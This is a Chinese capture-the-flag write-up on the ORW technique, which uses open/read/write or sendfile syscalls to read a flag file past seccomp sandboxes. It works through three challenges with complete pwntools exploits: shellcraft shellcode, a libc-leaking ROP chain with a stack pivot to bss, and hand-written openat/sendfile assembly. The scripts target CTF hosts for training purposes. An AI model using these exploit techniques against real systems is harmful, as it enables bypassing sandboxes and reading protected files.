orw
zach0ry

orw基础

orw是open、read和write三个系统调用的缩写。orw 攻击是一种绕过沙箱(Sandbox)或NX保护的技术,其核心思想是:不直接获取shell,而是通过这三个系统调用来读取目标文件(通常是flag文件),然后将其内容打印到标准输出,从而获得flag。

传统的缓冲区溢出攻击通常会尝试注入一段 shellcode,这段 shellcode 的作用是执行 execve(“/bin/sh”, NULL, NULL) 来获取一个交互式 shell。然而,在以下两种情况下,这种传统攻击会失败:

NX(No-eXecute)保护:如果程序的栈是不可执行的,你注入的 shellcode 无法在栈上运行。

seccomp 沙箱:一些程序会使用 seccomp(安全计算模式)来限制进程可以调用的系统调用。如果 execve 被禁用,即使你成功注入了 shellcode,它也无法执行。

1
open(const char *pathname, int flags,mode_t mode);

pathname → 文件路径地址(放在 RDI)

flags → 打开方式,比如 0 表示 O_RDONLY(放在 RSI)

mode → 一般读文件不用,默认即可(放在 RDX)

1
int openat(int dirfd, const char *pathname, int flags, mode_t mode);

dirfd (目录文件描述符)

pathname (文件路径)

flags (打开方式,O_RDONLY / O_WRONLY 等)

mode (创建文件时的权限位,open 时可能不用)

1
2
ssize_t read(int fd, void *buf, size_t count);
ssize_t write(int fd, const void *buf, size_t count);

fd → 文件描述符,比如 open("/flag") 的返回值 3(放在 RDI

buf → 存放/要写 数据的缓冲区地址(放在 RSI

count → 读取/输出 的字节数(放在 RDX

具体的泄露有两种方法,一种是ret2syscall,用题目自己的指令去操作

还有就是shellcraft,但是它的要求会更高,因为其本质就是 shellcode,使用它要求目标内存区域必须 可写可执行(W+X)

还有一个sendfile函数,兼具了ORW中read和write的功能!

1
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

out_fd
输出文件描述符,通常是 socket(例如客户端连接的套接字)。

in_fd
输入文件描述符,通常是 打开的文件

offset
输入文件的偏移量指针。

  • 如果为 NULL,则使用 in_fd 当前的文件偏移量,并自动更新。
  • 如果不为 NULL,则从指定偏移量开始读文件,但不会修改 in_fd 的偏移量。

count
希望传输的字节数。

例题

基础

image-20250804164745934

image-20250804164759473

image-20250804164828181

这个就是典型的orw

1
seccomp-tools dump ./orw #查看允许的函数调用

image-20250804171950287

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

r = remote('node5.buuoj.cn',29475)

context.log_level = 'debug'
elf = ELF('orw')

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)

r.sendline(shellcode)

r.interactive()

[HGAME 2023 week1]orw

题目

image-20250902153756402

image-20250902153805183

image-20250902153850518

可以看到禁了execve和execveat

思路:先泄露libc基地址,(可以看到read读入的数量比较大,所以可以把泄露puts的写入rop链后面)

之后lea把read的读入位置劫持道我们对应的bss位置,之后在这里放入orw的绕过,最后leave跳转过去让它执行就可以了

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
import sys
from LibcSearcher import *
file_path = "./vuln"
remote_host = "node5.anna.nssctf.cn"
remote_port = 25492
libc=ELF("./libc-2.31.so")
context(arch='amd64', os='linux', log_level='debug')
elf = ELF(file_path)

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#
gdb.attach(p, "b*0x4012EE")

def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)


puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
lea=0x4012CF
ret=0x4012EF
rdi=0x401393
bss=0x404300
rbp=0x40117d
main=0x4012F0
leave=0x4012EE
pay=b"a"*0x108+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sa(b"Maybe you can learn something about seccomp, before you try to solve this task.\n", pay)

puts=u64(p.recvuntil(b"\x7f")[-6:]+b"\x00\x00")
print(b"puts==========================="+hex(puts).encode())


libc_base=puts-libc.sym["puts"]
rdx = libc_base + 0x142c92
rsi = libc_base + 0x2601f
open=libc_base+libc.sym["open"]
read=libc_base+libc.sym["read"]
write=libc_base+libc.sym["write"]

pay=b"a"*0x100+p64(bss+0x400)+p64(lea)
p.recvuntil('Maybe you can learn something about seccomp, before you try to solve this task.')
p.send(pay)

pause()
pay=b"/flag\x00\x00\x00"
pay+=p64(rdi)+p64(bss+0x300)+p64(rsi)+p64(0)+p64(open)
pay+=p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x300)+p64(rdx)+p64(0x100)+p64(read)
pay+=p64(rdi)+p64(1)+p64(rsi)+p64(bss+0x300)+p64(rdx)+p64(0x100)+p64(write)
pay=pay.ljust(0x100,b'\x00')+p64(bss+0x300)+p64(leave)
p.send(pay)



p.interactive()

XYCTF orw

image-20250902172558291

image-20250902172616138

image-20250902172749552

rsp只想一个新的栈空间,而且这个地方是由rdi控制的,我们构造的rop链无法使用,所以只能自己手搓汇编

果然汇编代码才是一切的基础:candle:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context(log_level='debug', arch = "amd64",os= 'linux',terminal = ['tmux','splitw','-h'])

p = process('./vuln')
#p = remote("xyctf.top",60030 )
libc =ELF("./libc.so.6")
elf = ELF('./vuln')

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out #将str转换为十六进制数,并在开头补上"0x"


if p.recvline()==b'show your magic again\n':
shellcode=f"""
xor rsi,rsi;
mov rbx,{convert_str_asmencode("/flag")};
push rbx;
mov rdx,0; #设置oflag为0
mov r10,0;
mov rdi,3; #文件描述符3
mov rsi,rsp
mov eax,257; #openat的系统调用号
syscall;

mov rsi,3; #in_fd
mov r10,50; #n_bytes
xor rdx,rdx;
mov rdi,rdx;
inc rdi; #out_fd
mov eax,40; #sendfile的系统调用号
syscall;

mov rdi,0;
mov rax,60; #exit
syscall
"""
payload1 =asm(shellcode)
p.send(payload1)
p.interactive()

image-20250902172936905

本篇参考了师傅Dusk的博客